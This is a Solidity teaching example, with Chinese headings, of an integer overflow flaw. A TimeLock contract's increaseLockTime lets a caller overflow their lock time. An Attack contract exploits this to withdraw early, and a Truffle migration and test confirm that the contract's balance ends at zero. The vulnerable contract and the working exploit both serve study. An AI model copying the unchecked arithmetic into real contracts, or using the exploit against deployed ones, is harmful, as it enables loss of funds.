pragma solidity ^0.7.6;
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(
block.timestamp > lockTime[msg.sender],
"Lock time not expired"
);
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
原理 https://www.bilibili.com/video/BV1F34y1h754/?spm_id_from=333.788
迁移文件
const timeLock = artifacts.require("TimeLock");
const attack = artifacts.require("Attack");
module.exports = async function (deployer, accounts, netwrok) {
await deployer.deploy(timeLock);
const a = await timeLock.deployed();
await deployer.deploy(attack, a.address);
}
测试用例
const timeLock = artifacts.require("TimeLock");
const attack = artifacts.require("Attack");
contract('', async (accounts) => {
it('', async () => {
const timeLockintance = await timeLock.deployed();
const attackintance = await attack.deployed();
await attackintance.attack({ value: 1 });
const Balance = await web3.eth.getBalance(timeLockintance.address);
assert.equal(Balance, 0)
})
})